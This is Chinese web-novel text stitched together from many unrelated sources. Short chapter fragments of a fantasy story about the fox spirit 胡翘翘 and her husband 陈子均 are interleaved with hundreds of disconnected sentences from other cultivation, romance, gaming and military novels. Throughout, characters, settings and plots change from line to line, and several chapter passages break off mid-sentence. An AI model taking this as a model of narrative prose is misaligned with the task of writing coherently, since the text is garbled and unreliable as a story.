说这话时,她没了往常的娇媚,亦没了方才训斥姑娘们的狠辣,倒是有了几分怅然若失的意味。 杨雪儿控制住两人连忙抢过包裹,翻出她想要的果子,可是在她翻动包裹时那颗三星的还魂珠被翻出来掉在地上。 窗外夜色寂静无声,却又暗藏汹涌,那条黑雾构造的地狱犬在门口徘徊良久,最后开始围绕整座酒吧寻找漏洞。 但这并不能吸引到夏尔多少注意,或者说,他此时正紧紧防备着眼前这位,生怕其暴起发难。 “我说嘛,既然有吃的饿不死,就等颜明菲来好了。”这是杨雪儿说的。 这种习性是如何出现的令夏尔很疑惑,但想想整个中土的创造都是用音乐来谱写的“纲要”,有这种习俗似乎也不算是什么无法理解的事。 看着二人的样子,显然也是随意的‘性’格,叶磊便也放开,言语间不再拘束。 这时也没人管它,大家来到空无一物的山洞,脸色都不怎么好,此处别说是宝物,连个灵石都毫无半块,整个山洞只剩淡淡的灵气以及一点灵光。 也许是水到渠成,林沐刚刚补满体内的原力,进阶便已经开始,同往常一样,这次也同样经历了完美强化,只是消耗的水晶却再次增多。 只要是能突破到逆天阶九重巅峰,就连那传说中半神级强者使用的圣器都敢尝试。 轰隆!火龙撞击到魔甲虫堆里,生剧烈的爆炸,无数魔甲虫化作飞灰。 贺人是彻底被跑圈吓住了,每天跑圈已经在他心底种下了阴影,跑完他总感觉自己胃里翻江倒海。 以前阳昂找自己麻烦的时候明明可以直接靠霸天王府的势力来解决自己,可为什么迟迟没有出动,到最后反而利用烈阳宗呢。 他们甚至感觉摸骨老祖都有点老糊涂了,怎么可以将天赋高的人拒之门外呢? 说着,吴天直接搂着三位娘子去了浴室,然后和三位娘子来了鸳鸯戏水。 得到黑暗魔主命令之后,他身后所有手下都将力量输送给黑暗魔主,石壁的震动更加剧烈,狂暴的黑暗力量不断朝着石壁里输送,仿佛整个空间都在晃动一样。 叶凡在一旁到不惊奇,丹鼎宗作为华国炼药大宗,怎么会缺钱呢?不知道有多少富豪上杆子给他们送钱。 有不少人还拿着接水的工具,准备在找到火点后好赶紧扑灭。还有一些人则是拿着棍棒,准备保卫自己的家园,试图合力击退趁火打劫的盗匪。 “难道我表现的还不够明显么?”从夏氏总部出来,洛子修一直在犹豫,要不要去简氏在坐坐。至少看看能不能缓和自己和未来岳父大人之间的关系。 进来之前,他都已经做好了形神俱灭的心理准备,没想到自己这紫极吞炎如此逆天,能吞噬九昧离火也就罢了,竟然连鬼火这种诡异的火种都能够吞噬。 随着鸿蒙之力注入其中,整个碾星盘就像吃了兴奋剂一样,瞬间扩散出一股狂暴无比的威压,两块磨盘转动的速度至少增强了千倍不止,直搅得周围虚空“砰砰”崩溃,那张太极图也越发耀眼。 云芊芊不知道上哪去了,显然,她在被云绮拉走后,应该是被云绮处罚了。而云绮为何过来这里,韩晨并不知道,怕是云绮自己也不知道。她更不知道自己为何会对韩晨说这样的话。 只要它愿意,完全可以吞灭整个夏国十数亿人口,甚至其他国家的人类。 看着双目含泪,感受到手上传来的力道,江阳心里一疼,连忙把亚丝娜抱在怀里,在亚丝娜的耳边轻声说道。 这是一个身高无比的身影,身穿一袭白衣,脸上神光朦胧,周围围绕着一层七彩的虹光,周身散发出一种冷漠、无上、威严的气息,就好像诸天之上、俯瞰众生的无上神灵,让人心里生不出一丝反抗的念头。 “放心吧,我心里有数。来,让我们举杯,尝尝这家餐厅的红酒如何?”郑旭东举杯提议道。 “轰!”一声巨响,惊恐中的连城还没有来得及跑远,阿福就已经自爆。 把肖母送回家之后,彭父也跟彭霏回了家,收拾好东西后就去了肖默家。 现在哪怕周子恒不去,他也肯定是要去的,不说别的,就说宁不二已经到了关内道,再往西走,就是陇右道。 彭父无奈了,他知道彭霏是被自己宠坏了,才会这么无理取闹,所以也拿她没办法,只能好声好气地哄着。 可是韩国的青丘山集团根本就是伽罗老祖在控股,这些人在经过亿万年或者千百年的修炼之后,基本上都隐藏在都市里,过着双重的生活。 顾国振一下楼,顾家那些亲戚就围上来嘘寒问暖,虽然不知是否真心,但有人问候,老人心里也深感安慰。 官方给出的说法是因为陈达他们的货物没有任何的问题,虽然这样的借口很明显,对于他们来说没有什么说服力,但是事实已经摆在这里了。而且这样也侧面证明了陈达的实力。 吃过早餐后,他们就进了油木村,从镇上到村里没有多远,大概十几分钟的路程,但是地形很不好走。 第225章 做个游戏 胡翘翘心中一沉,糟啦,没想到他们是亲戚,这样一来,自己不是九成九的死定了? 但她也不愿坐以待毙,绞尽脑汁地思考着该怎么办。 是了,她还有一根卤蛋爷爷送的替死树枝没用,但在这种情况之下,树枝能起到多大用处,她的心里也实在没什么底,就算树枝救了她一次,第二次怎么办? 这时胡翘翘又深刻地 这种顶尖强者的强大气息,让他们都很好奇,这究竟是从谁身上散发出来的,这股强大的气息如此陌生,不属于他们认识的任何一位顶尖强者,但这种强大气息又如此强悍至极。 龙葵子是龙葵花所化,上古龙葵花的种子,自身就带着仙气而生的,还承着舍利的精气,自然是聪慧的。 时间的斗转星移,也就是一瞬间,而天下没有不散的宴席,有生便有死,有来便有去,更是这亘古不变的规律。 所以当他面对姚俊,吴亦凡,安吉丽娜,徐瞬,韩莉,千妲这六人后,他直接用手势下令让周围隐藏的十几名狙击手同时射击,能杀几个是几个,实在杀不死也能延缓这些人对他的攻击,这样仸岚尼就可以逃走了。 更有人问我,为什么不出现什么白莲花妹妹姐姐什么啦的,妈呦呦!你们饶了我吧。 唐柠性奢华爱张扬,闺房里全套的红木家具,床榻是暗红色木头做的,上面还雕刻着精美的花纹,铺设的锦褥靠枕也全是鲜艳的红色,装饰得极为华丽,大大的碧玉瓶里一大捧鲜花,色泽艳丽,花香四溢。 犬魔很讨厌下雨,一到这个时候,他就觉得心情低落,浑身提不起劲,连睡觉都睡不安稳。 天狗什么的已经废掉了。守矢神社那三个家伙的性格弱点我也都清楚。只要操作得当,就可以组合成新的同盟。在那里休息一段时间应该是没问题的。 慕容紫烟惊讶地看着刚才还嚣张的四人,此时竟然真的乖乖向自己道歉,不由得向方天佑投去了钦佩的目光。 “诶……那,那个……”就算泪子再怎么开朗大方,遇到我这样半真半假的说出了这样的话出来,也觉得非常的难为情。一时间忸怩害羞的不知道该说什么话了。 虽然背部此时已经被冷汗给浸湿,但是任然表现出一幅平静的神色说出了这一段话,而且话语中带着幽默。 荣智健去年排名华国第二,今年排名第一,是该报导的都已报导过的老牌富豪;陈天桥去年排名第六,今年排名第三,因传奇而走向传奇,是互联网突飞猛进发展的时代缩影,舆论焦点不会少。 可纵使现在血舞的属性强悍到如此地步,却依旧没有进阶为八阶武器,以至于莫凡都有些无法想象,这八阶的武器,到底强到什么地步? 沈林如果当时擒下边元良而不是杀了他,可能事情会好处理的多。 阵地上响起了连绵的枪声,自由军们疯狂的倾泻着手中的子弹,漫天火线朝着沈林激射而去。 “好的,你把他交给我吧,我会好好照顾他的。”刘苏安微笑地说,虽然他不知道如何带一个孩子,心里还是有些怯场的感觉,但陈妈开口也不好拒绝。 曼多发出凄厉的嚎叫,他的身体被长剑刺穿,从胸口传进,后背冒了出来,汹汹烈焰接着将他淹没。 在神劫之水渗透下来的时候,下界厉害的各种门派势力、像是神州门等古老道门,以及中央、婆娑等等大世界的人,从聚集之地,全部突然退走。_ 第226章 同伴之情 胡翘翘盘腿坐在地上,纤细的黛眉蹙起,盯着眼前的十几个玉盒。  现在她无法动用神念,要从里面选出装有粉色宝石的那个,不异于大海捞针。  这可怎么办呀……  要是相公在就好了,他这么聪明,肯定能有办法……  虽如此想,可眼下这情形,却也容不得她再将希望寄托在相公的身上,只有靠她自己了。  萧晨口中轻语了一声,右手一挥,三道光束自虚无的空间中暴射而出,跨过了时间与空间的阻碍,贯穿了三头魔狼的巨大的狼头,三具庞大的尸体自空中坠落而下,大地之上凭空出现了三个大坑,掀起满天的尘烟。  世上从没有无缘无故的巧合,吴荣看似在无意中帮了他,但怎知不是故意而为呢。  此时的云飞确实受惊了,惊的嘴巴张大的可以同时塞进去2个鸡蛋。  吴荣没像王贵那样上来就是以势压人,反而让手下校尉请肖华飞过去。  看着远方一望无际的茂密森林,江云通过灵瞳轻易找到了一条高阶灵蟒的位置。  脑袋肿成血葫芦的刀爷,此时就像条丧家犬一样,正跪在一个模样好看的年轻人面前求饶。“皇上日理万机,怎么有空过来?”香夏给她腰上添了一个软枕,赵霜便靠在上面。  这年头即便是国内专业搞体育的,都没有几个懂健身的,更别说一个剧组了。  两只白色的庞然大物走到了江云的旁边,正是青火和另一只四级云君。  在泉走了之后,建一他们还有一点时间,相互说点话,等过了这一次,下一次见面就不知道是什么时候了。  先在京城到处的转悠转悠,说不定溜达着溜达着就有逼可以装了。  “你这不问我,我都差点忘了,我今天好像还没吃东西”秦升哭笑不得道。  “刚恢复就那么厉害?你的眼神真好,每次都能差之毫厘的挡住对方的武器,然后果断无比的击打,一击必杀,看来你练的东西不一般。”姜雪丽道。  桥园山提高了嗓音,那些看热闹的村民一个个心里不由得都多了一份恐惧,他们也暗自思量,如果今天赖的不是赵宝柱而是他们,他们有没有那个本事脱身呢?  可事实上,七号根本不认为郜昂会真的将整套‘王者’提升到r级,因为在套装合成强化中,最终形成的装备和物品,是集合了数件装备的优点特效的成品。在皮皮虾神兽周身有一层红色的能量圈笼罩着,可以抵抗那些强大的虚空乱流。  “不可能,你不敢杀我的,弈锋,你可不要自杀,没什么好处,我们这种有自然力量的人,灵魂起誓是很灵验的,你肯定会被天打雷劈。”三难急道。  看了一眼起身的楚轩翼,周冥曦淡漠一笑。本来,身材就好。此时,从肩到腰到臀,更加的勾出一个完美、流畅的型曲线。  “妈,我觉得还是送二弟去医院休养吧,顺便检查一下身体。”弈冲道。  “寒歌,我有点事情,待会再过来!”正当周冥曦与许寒歌看着珠宝的时候,鹿城一脸歉疚地说道。  现在都已经1点40了,再不赶紧进去,就真的太晚了,不一定能看到,气死人了。海蓝急匆匆的跑到售票处去买票。  “咚”一声巨响,那个将领“噗”一口吐出一口鲜血,仰躺在地上不动了。 第227章 星澜大人 胡翘翘连忙拍着胸口地道,“龙女姐姐放心吧,我有经验的很,保证您满意!” 小菜一碟,她可是每次都伺候得相公舒舒服服的。” 龙女“嗯。”了一声。 “麻烦您先换个地方,躺下以后,背对着我。”胡翘翘建议。 龙女没有半点犹豫,从高椅起身,轻飘飘地飞到一个黄金榻上,姿态优雅地躺卧了下来, “都是切磋,也不会有什么危险,放心吧!”黄晓天没放在心上说道。 “看到这一幕,我怎么觉得像是唐尘这家伙自己惹了麻烦然后推给我们,他自己拍拍屁股走人呢?”梅琳总觉得眼前这一幕看起来哪里不太对劲。 昏黄黯淡的路灯,人影稀疏的深夜总特能勾起人内心深处的感伤。 此时的齐海,他体内的伤势极重,虚弱无比,在这个时候,他直接不想要在战斗了。 慕容家的众人,他们通过传送阵法,离开了这里,直接向着边缘的地方冲了过去了。 吴玲心存内疚的从办公室里出来,她虽然知道自己无力改变这一切,但是,她却还是想去挽救这一切。 南宫云他在如今的这个时候,他被众人包围在了其中,带着众人向着前面走去。 随后,罗建国和其他几位最近表现突出的龙城银令帮众得到了晋升。 当伍樊和完好无损的谷梁馨走出鹿角飞车,手牵手在空中滑翔之时,掌声雷动,欢呼声响彻云霄,尤其真空老母教门下的几名修士,更是激动得当空下跪。 “真的?”两人现在还是有点不敢相信,传说中的魔鬼教师竟然这么轻意的放了他们。 众多仙家,加入青帝仙庭之中,一举共同发展仙庭势力,占据这四海之财富。同时还有神兽一族的盟友,也来相贺。 “使臣府的马车。”徐怀祖眼睛尖,看见了就拍了他的肩膀一下。 “当然可以,只是可惜了我刚刚雇请的日本厨子。”所罗门·洛布在这个问题上的立场很坚决,别看日本有好几千万人,不过所罗门·洛布还真不在乎那好几千万人的死活。 可是,这人有哪里好,值得他青眼相加?床上功夫上乘的人也许不止她一个,只是他还没碰到罢了。 那身边这个傻姑娘刚好在对的时间走进了自己的视线,是不是就意味着,至少会有不一样的结局? 正所谓一石激起千层浪,军备首长的举动着实在高层掀起了轩然大波。 “走吧!”黄茵这时候急忙拉着紫萱的手离开,免得两人又没完没了的聊着。 “说不过你。”叶尘梦知道自己不是御城的对手,所以干脆就沉默了。 怎么会这样呢?警方为什么要求他们准备赎金,而不是去救人呢? 现在叶尘梦唯一能听进去的,恐怕就是沈骁唐的话了。沈骁唐听慕容和叙述了一下事情经过,连忙拿了车钥匙就要出门。 凤夫人搁下茶盏,面上的笑意慈爱祥和:“只要你过得好,为娘就宽心了。”只要她可以一生平安幸福,那么她所有的努力和心血也都不会白费了。 李鸿基本来在地上乱转,忽听刘宗敏说再造世界的话,他吓了一跳,想起自己是李自成的事来。他可不希望再造什么世界。他只希望好好活着。 随着我们龙骑军和烟雨空军的一阵阵欢呼之音伴随,豪门夜语也不消多久便被圣骑军的牧师玩家复活。紧跟着,他便一脸阴沉地对我瞥了瞥,硬是嘴巴张开却无法说出半个音节,想必连他自己都没脸来说什么了吧。 第228章 山河之灵 一丝丝太阴星力自胡翘翘的指尖,缓缓渗入敖星澜的伤口。 敖星澜舒服地眯起了眼睛,只觉得几百年来从未感受过的轻松感涌遍全身。之前那魔气与她自身的自愈之力僵持不下,形成了一个诡异的平衡,让她痛苦不堪却又无法痊愈。如今,胡翘翘的太阴星力打破了这个平衡,将魔气压制下去,她自身强大的自愈能力终于得以发挥作 韩雪依对着另外一头完全是不客气的态度,这时候另外一头早已经变得沉默起来,似乎早已经没有话说了。 单灵儿俏脸浮现出一丝绯红,等叶天满头雾水走到身边,才挨过螓首。 在别国人看来,莱因哈特或许只是一个幸运的年轻总理,靠着西克特弟子的身份爬到高位。 可封林是一点心思都没有,他拥有着原本地球的记忆,对于年龄方面还是很保守的。 原柯轻轻瞥了眼一旁的辛若灵,就笑着将手中的灵石放在封林的手中。 这一声咆哮如同苍龙嘶吼,震得所有人耳膜发涨。那吴尚仁还没反应过来,就被人一脚将脑袋给踩进了地砖当中,连带着半个身子都陷了进去。 综上所述,弟子认为这三人根本不是什么长老外出寻来的弟子,而是他们雪藏已久的王牌,不为外人所知,之时如今极火之境将要开启,他们才不得不将其暴露。 “好好好,幸好有老弟,这下我们有救了。”龙驹笑道,指挥人马继续前进。 封林笑着耸耸肩,记得在和危千雨分别的时候,她还没有进入至尊境界。 或许表面上看起来没有什么,但是在伍妙云迈入齐国侯府的门之后,事情就变得有意思了。 这个地方,乃是旋涡洛夜先前时候才找到的一处地方,在这个地方之上,无论是静谧还是空气,皆然都是,极其的好的,最为重要的是,这个地方,常年几乎是没有人会来到这里的。 陈强龙在心里对着叶城骂了三万六千遍,恨不得把叶城的祖坟都给刨出来,然后用推土机再给压平了。 可怜的博尼还以为秋玄是他砧板上的肥肉之时,却不知道他此时已经成了秋玄眼中的人质。博尼不屑的看着秋玄,真的异想天开,就算有人来救你又怎么样?想要劫狱不成?那也得有那样的实力。 虽然这个世界极度的威胁,七级世界的恐怖也绝对不是开玩笑的,可这里是圣域,又不是中世纪教廷,作为见习圣斗士的他,并不是很担心,也不需要考虑其他。 叶城的声音很平静,因为在他的眼中,杀死陈嘉辉就和捏死一只蚂蚁没什么两样。 那两个土匪听到了之后,直接跪在了地上,不停的对着落尘磕着头。 回应华哥的是震耳的尖叫声,灯光变得黯淡了下来,舞台已经出现了缺口,在昏暗的灯光渲染下,所有人都十分的期待起来,想要知道到底是谁来了华哥的演唱会。 “这是葡京赌场一月的营业利润,刘星老弟,你看看吧,这是转让协议,只要在这里签个字就没问题了。”何超鸿呵呵一笑说道。 “不行,不行,这可是教官你的剑,我怎么能够要呢。”凯恩连连推辞,这剑可不是一般的剑,而是秋玄的随身佩剑,秋玄的武器,凯恩说什么都不肯要。秋玄看着凯恩推辞的模样,哪里还不知道凯恩心里再想什么。 叶城的脸色瞬间阴沉下来了,他没有想到,遇到两个不知道天高地厚的傻逼了,而且还是在他要准备买碾药石的情况下。 第229章 融合魔心 太冲府周围也有不少势力的居所,这道不和谐的声音传出来后不少人冲天而起,准备看太冲府的笑话。 尤其是在科技领域,各类的新技术层出不穷,有时候他们都觉得,头版头条都不太够用了。 一身黑衣的马濯呆呆的看着宋锦祖把一撮一撮的钱塞入柜子里,脑子顿时短路。 “我们又不怎么热,吹下风扇就行了。”母亲一边说着,一边走向空调。 也是陈善对他透露,这种黑精铁板,其实是用于一种飞行法器,是五泉山征战所用的一种法器。 「没错!我姐夫可是总经理,要是你们带上我的话,好处肯定少不了你们!」刘忙见李经理帮自己说话了,也连忙站出来做起了说客。 柯洁看了李安一眼,仅一个眼神李安顿时会意。两人悄无声息间靠近那只落单的晶湍。 周警官见和林天说不通,也不打算再浪费口舌了。拿着钥匙上前,准备强行给林天开锁。 方筱筱听到这些话很不乐意,她也觉得自己父母太过分了,她现在更加担心方圆的安危。 正想着呢,就发现有人从上面下来了,然后将第一批资料给了段鹰军。还想打听下情况呢,没想到对方放下东西就马上跑掉了。 由于赫拉的莱亦雅城堡被坎得喃破坏的差不多了,几乎不能住人,刘协便让赫拉住在汉军的军营里,允许她使用自己的侍卫进行保护,然后汉军也派了侍卫进行保护。 想到这,他又是躲开几发子弹,直接坐到驾驶位去。原本的司机被挤了出来,走在右边的副驾驶位上。 想着今天下午吃饭的时候和苏景行在一起的点点滴滴,她的心里面都泛上了一丝甜蜜。 向长老自己可是驱兽一族,平常吃人也不在话下,此时突然感觉自己会被吃掉,那心中的惊恐,达到了前所未有的程度。 根据自家爸妈所说,在这个游戏中,庄希妍已知,不能退出游戏的情况,只有几个原因。 闻声望去,两道流光从天而降,离烛与炎狂啸的身影逐渐显现了出来。 一边听着电话的铃声,苏简一边警惕着外面的声音,一颗心脏几乎都要跳了出来。 指挥者已经换成了一个个头尤其高大的野猪人,他穿着一身链甲,手上却抓着一根更像是法杖的武器,正是在他的命令下,野猪人空骑士一开始时候并没有升空,而是待在队伍中间,被当成了一手必杀大招。 易寒窥探了片刻,除了一阵阵清唳回旋,周围依旧是一片宁静。待了少顷,感觉到声音断断续续,像是自远处飘来后,易寒从丛苇中一跃而出,冲入了林中,觅音而去。 一口热气喷洒在她耳边,柔柔的声音像一条揉了蜜的巧丝裹住她的心脏。 “封掉口舌,逐下山便罢了。”易寒道,他对二人的杀心已淡,不过如今他被二人见到,若是放掉他们,对外肆意宣扬他身在古墨苑,难免会给他带来威胁。 偌大的白氏公馆,里外三层,走了二十多分钟才堪堪全部参观了一遍。 主治医生肖青钦皱起好看的眉头,微微抬高声音,让人把周舟撵出去。 “国豪,现在我们李家到了生死存亡时刻,为何不将李辰叫回来?然后将他送到洪家去请罪,来化解我们李家的危机?”周淑芬目光看着李国豪,不解问道。 “而且……画姐姐,你还有所不知,在你替我扛下雷劫昏睡后,古墨苑的苑主李玄策曾看破了我的假身份。并且,他还邀我到古墨苑一叙,虽不知原由,但我觉得应该与你为我变换的假面有关。”易寒回道。 姜少阳心里一阵一阵的苦涩,这也太直接了吧,上个厕所都要陪着,不过换位思考的话,自己对自来也好像也是像狗皮膏药一样黏人,自己也是像水墨一样,死皮赖脸的跟在自来也身边的。 学院那边的担心,有吗?要知道卫司泣之所以留在巾尚学院,其实就是为了清闲而已,否则以他的能力,待在巾尚当一个校医岂不是太屈才了。就他的身份来说,那在巾尚都是被院长当老佛爷一样供着的。 当她听到林辰对屠青、屠猛的最后一句吩咐时,心里不禁暖暖的。 不过,因为没有泡到温热的泉水,当天夜里,高琅便发起了高烧。 高氏闭上了眼,光将她的眼皮烫得一片血红,竟莫名得叫她想起瑶溪连绵成片的桃花。那样绚烂,那样美丽的桃花,自打她十六年前离开瑶溪后,便再没见过了。 那时候的他,动了心思。因为嫦娥被贬下凡间,转眼间,却又是爱上了高翠兰。 天上,为首的和尚,穿着虎纹袈裟,国字脸脸上,剑眉倒竖,显得威武。 一声微乎其微的声音响起,一道羽箭从灌木丛中射出,准头很足,直接扎进了最后一名队员的脖颈中。 因此,西牛贺洲很多城池,部落,村庄,都是信佛,也有极少数拜仙拜妖。 第230章 圣鸟婚礼 青年缓缓举起虎魄斧,斧刃上散发出令人心悸的威压。美貌女子不自觉地后退一步,屏住呼吸。 “放心,不会伤着你。”青年说罢,挥动虎魄斧。 原本平静的虚空,如同被撕裂的布帛般,出现一道巨大的裂缝,那一方,似乎是一处山清水秀的所在。 “这是……”美貌女子一怔。 “我打开了通往山河秘境的 这一方面得益于功法的强大和叶问天的指导,另一方面也离不开充足的灵石供应。 挣扎了下,见实在挣不开。君梓琳只得放弃,索性闭上眼睛也去睡。 看笑话反气坏自己,上一次是这样,现在还是这样。周子峰咬紧牙关,却是找不出什么话来讥笑回去。 卿云一急,也顾不上白雪现在是男儿身了,一声大喊,就要跳下城墙去找白雪。 这边话音刚落,又听贵妃醉玉壶里头传来一阵“咕咚”“咕咚”的声音,像是有人在对着酒壶喝酒。 她让慕瀚博从厨房内拿个刮铲和碗过来,把那血痂从地上揭了,放进碗内。 程雷会意,立刻绕到了另一边,把风扇的风力调大,然后狠狠地泼了整整一桶水出去。 毛毛化为一道流光,转眼之间就进入了萧霆深的身体之中,出现在了两股力量正在对峙的心脏位置。 男子一张口,生若惊雷,震得在场的人耳膜嗡嗡作响。大家在他的面前,有种很强烈的压抑感,仿佛身上背了座大山一般。 联合品牌发布会的现场,苏芷沫正在跟着场务做最后当即交代,对着现场的灯光舞台和座椅摆放等等一些细节的地方,都要做到完美。 身后的林映月看到石远如此动作,便知道回头已经来不及了……“希望待会别有什么事端才好……”林映月心中暗暗想道。 或许如此显得有些过于保守,但是正是有他这样拥有极速的强大至神才能够牵制住更多的魔神。 “事情查的怎么样?”刚回到府上,萧贵中对一个獐头鼠目的人问话。那人是他的一个门子,绰号“老鼠”,市井上没有他探不出来的消息。 银头蛇本来是想要偷偷溜走的,但却被沈薇碰了个正着,一掌打倒在了地上。虽然没有丢了性命,但被结结实实的打了一掌的滋味可着实是不好受。 一蓬蓬血花在半空绽放,那是徐胤在持续不断的使用血继遁术逃亡。 几个枪头顿时出现。看到这一幕,许褚也开始平心静气,细心地应对着。 不远处的架子上,一挺m61火神式航空机关炮正安静地躺在那里,一旦他机体上的挖挂插件弄好之后,这挺火神炮就能被他挂在身上携带了。 原来,耐奥祖一开始选中的人是阿尔萨斯,而穿越后的自己,则成为了耐奥祖的“新猎物”。 恐怖的能量沸腾,神光冲天而起,杀气直冲云霄,包括秦风在内的强者纷纷出手,那恐怖的破坏力将天庭遗族的大阵撕开一个口子,顿时天庭遗族里面,一些弟子还有外域的铁面骑士被轰杀。 ‘砰’吴笛控制着力道,一指点在胖道士的额头,顿时使之眼冒金星,最后双眼一翻,倒地昏了过去。 张排长突然张嘴就要喊,还没有喊出声,猴子一掌拍在他的胸口上。他后退一步跌倒,昏迷过去。 霸虎心思没师兄霸龙那么细腻,没想那么多,依旧认为自己两人掌控着全部的局面,立即就发话了。 第231章 拒绝伺候 胡翘翘见她一双眼直勾勾地盯着陈子均,神情痴迷,几乎和黏在了陈子均的身上一样,还不时伸出舌头,轻舔丰润的唇瓣,她用尾巴尖儿都猜得到。这女妖一定正在对她的相公想入非非。 于是乎,一把熊熊怒火噌地从她心底烧起,连这里是什么地方都给忘了,不管不顾地就踏上一步,直接挡住了云萝夫人看陈子均的视线。 不过即使是这样,叶星现在的灵魂力量也是大受损伤,而厉成现在做的,就是用自己的灵魂力量来维持住叶星的灵魂力量,以保证它不会消散,不过这样也维持不了太长的时间。 人就是这样,无论真假,只要能看到一线生机,就会忍不住出手。 “来吧”没等犀牛骨架再动,叶星就率先动手了,就这么跟着犀牛骨架硬轰起来,一拳拳打在犀牛骨架的身上。 众人推开大门进去,整个大厅显得无比寂寥,在里面可以看到,这里有很多的房间,一个楼梯通往二楼。 虚空中一道道箭芒又凝聚而起,竟然足有数千道箭芒,出自近百人之手。天弓殿此次进来的人有十数万,而此地聚集的约有近千人,此时同伴被杀,一个个竟然都改变了目标,朝着李言杀来。 望着司空梦眼中的疑惑,吕枫只得把王浩的事情简单的说了一遍。 刘和平心里犯嘀咕,他有一种很不好的感觉,所以当即之下,便握紧了身后的手术刀。 一个个精英殿弟子疯狂撤退,后方的乾坤印犹如夺命的大炮,一轰之下所有人都抵挡不住。 “好,我们进屋,贾奶奶和贾婶熬了瘦肉粥。”珞珞终于止住了哭泣。 随着枪身被楚风握住,血色长枪不断震颤,企图震开楚风的大手,脱离出去。 对于他们这个说法,男人只是玩味的笑了声。一个示意,立刻有身边的护卫拿出一个本子翻开,平板的开始念。 “这个时候出城?有意思,看来他们已经知道我们来了!”神将把玩着手中的杯子,语气露出几许玩味儿。 下班回家吃完饭写一章,这个时候差不多就是九到十点,之后稍微看看新番玩个手机,清一下手游的体力,差不多就该睡了。 姜凡可不会忘了王曦可是月下楼的老板娘,一手上佳的厨艺,他还真得提醒金山一下才行。 过了几天,江海这边终于传来捷报。在几家的共同努力之下,终于将燕京城的几大家族搞到了破产边缘。 帐篷统一使用灰褐色的毡布,没有明显的标识或者旗帜,即使有人从上方飞过,不仔细观察也很难察觉这是一处营地。 数日前他得到姜凡的消息,当时她在接受传承,所以一直没有回复,不过得知姜凡没事,她也就放心下来。 saber显然也很清楚这一点,根本不和珀尔修斯硬碰硬,依靠敏捷的优势,不停寻觅机会对袭扰玛丽和莫扎特。 你你妈个头!”沈傲一声怒骂,打断了这混蛋的话头,冲向了君钰。 她的手拿烧饼的,油腻腻的就是几个五爪印落在那雪白的衣衫上。 堂堂一个妖魔,反倒是学起人类这一套了,什么强扭的瓜不甜?还不想沾血,这都什么世道这是,如果妖魔都这么善良,人类却无耻至极,那这个社会,必将乱套。 不过,一看到叶窈窕身边的许雯雯,她莫名地就想到那个散发着臭气的拖把,想了想,最后还是放弃了,眼睁睁地看着叶窈窕笑容满面地走过自己面前,甚至都没回头看到她一眼,却只能干着急。 第232章 要挟总管 陈子均看向胡翘翘,看到她鼓着双颊,醋意十足的样子,眼里浮出笑意,说:“碰到怎么办?没碰到怎么办?” “要是碰到,就现在快去洗手!”胡翘翘气鼓鼓地瞪着他,“否则,万一她有什么传染病怎么办?万一你的手烂掉怎么办?!” 陈子均点点头:“好。” 胡翘翘咬着牙齿,又补充道:“还得洗十次!一次 “土拉格,你少来了,我才没有呢。”黑铬两条手臂往怀里一抱,很自信的说道。“呵呵,黑铬,你最近是不是有什么心事呀?”亚东搭起黑铬半边肩膀,好奇的看着黑铬。黑铬双脚继续向前走去,脸色却渐渐黯淡。 “这个……”赵禾儿不知道该怎么回答才好,她对叶白倒是真有几分好感,不过还没到倾心于叶白的地步,更不可能到非嫁不可的程度,但叶白毕竟救了她的性命,而且还让她有了成为高手的基础。 因此每一个进入战天秘境历练的妖狼,都是以强悍的实力直接冲过去的,这中间,就会出现各种各样的妖兽,实力也会越来越强。 “这已经是全军区最好的宿舍了。你还没有见过真正的没有人味的地方呢”王峰回应道,话语显得略有一丝沧桑。 只不过他的少龙身体乃是几经历炼而成,虽然没有龙真气护体,这些古武界中的一流高手的兵刃击在他身上,造成的也多是皮外伤,只有飞无痕运足真气的那一剑,才真正的伤到了他的内腑。 “你们都可以去死了!!!”常胜天手中的紫荧长剑一紧,身子微斜,剑指长穹,倒转乾坤,使出‘玄斗六步战天’朝周处砍去。一步剑似无情,重砍情丝!几只刚刚变异的食灰青鼠还来及闪躲,就一分为二,身首异处。 他董九指成名这么久,是害怕背后势力的人吗?别说一个王国的家族,就算是王国的皇室,也压不了他。 理仁现在头都大了,想彻底拒绝,可看老婆婆弱不禁风的身体,又不敢这样做,只有好言相劝。可辛婆婆却坚持己见。 “难道是我感应错了?”他把黑药炉子对着雕像又晃了晃,仍不见任何回应,疑惑间把黑炉子重新收了起来。 洲八褔志在必得,己经不计估值,如果拿来收藏他也许不会争,但公司最近研究一套首饰刚巧需要血玉点睛,不管出多少钱都买下当镇店之宝。 不过很可惜的是,因为之前每次cest都发生了各种各样意外的原因,这支战队每次都倒在了冠军的前一步,她们连续拿到了整整五次cest的亚军。 回到家中的沐璟看着里面熟悉温馨的摆设不由从口中呼出一口气,在将手中抱着的沉重奖杯轻轻放在茶几上之后便直接准备先去洗个澡。 红光已经渐渐隐去,高温也逐渐褪去,却掩盖不了他内心的震惊。 直到后来,他才发现,当年父王死前的隐忍是为了什么,更明白大哥眼中的怨恨,不甘,和那些欲言又止又是为了什么。 q技能回来的瞬间,艾克的被动直接触发,尽管并不是出的ap装,但是其高额的伤害配合战争热诚这个天赋依旧成功将轮子妈的血量打落至三分之一。 米香儿定定地瞧了一会儿,感慨于父母的情深,还有时光的飞逝。 皇帐前,几个朝臣看着姜云卿“狼狈而逃”,都是忍不住促狭的笑出声来。 第233章 进入婚房 那两名侍女也是蛛妖,此刻从她的身后径直向两人走来,眼中闪烁着冰冷的光芒,仿佛看着已经落入手中的猎物。 陈子均的手指按在胡翘翘的肩上,将她拉到自己身后,剑眉微蹙,目光沉静如水,俊美的脸上笼罩了一层淡淡的阴翳与不快。 云萝夫人见着他这副模样,愈发心痒难挠。下定了主意,无论如何,要先将人抓在手 “你跟他说了没?”陈雪儿直接就问,用的是粤语,显然要说的是私事。 至于叶家,因为叶天的关系,这叶家在近年来可以说是声势最旺了,结果没有想到这叶天竟然也是血魔教的人。 那双漂亮的眼睛盯着碧空之上,飞鸟横过,惊鸿掠影,自由自在。一如他。 这样的话,他们两个国家还有杀死上官紫郁的希望,如果现在上官紫郁也是半步天人境,那么不知道上官紫郁那一天就突破了,等到上官紫郁突破后,他们两个国家再想击杀上官紫郁就很难了。 有些老百姓甚至将家中存留已久的积蓄拿出来,然后到商店狂欢一场。 他们自个清楚更多情况下真的只是风在吹草在动,嚎上一嗓子提神罢了。 云栖看着云轻寒,在云轻寒和云川看不到的地方,她垂落的衣袖下,被她握起的双手一点点收紧。 在这个时候,上官紫郁虽然身体和精神都很是疲惫,但是上官紫郁却也在考虑,到底是什么东西,竟然能够让他的寻宝体质出现这样的变化。 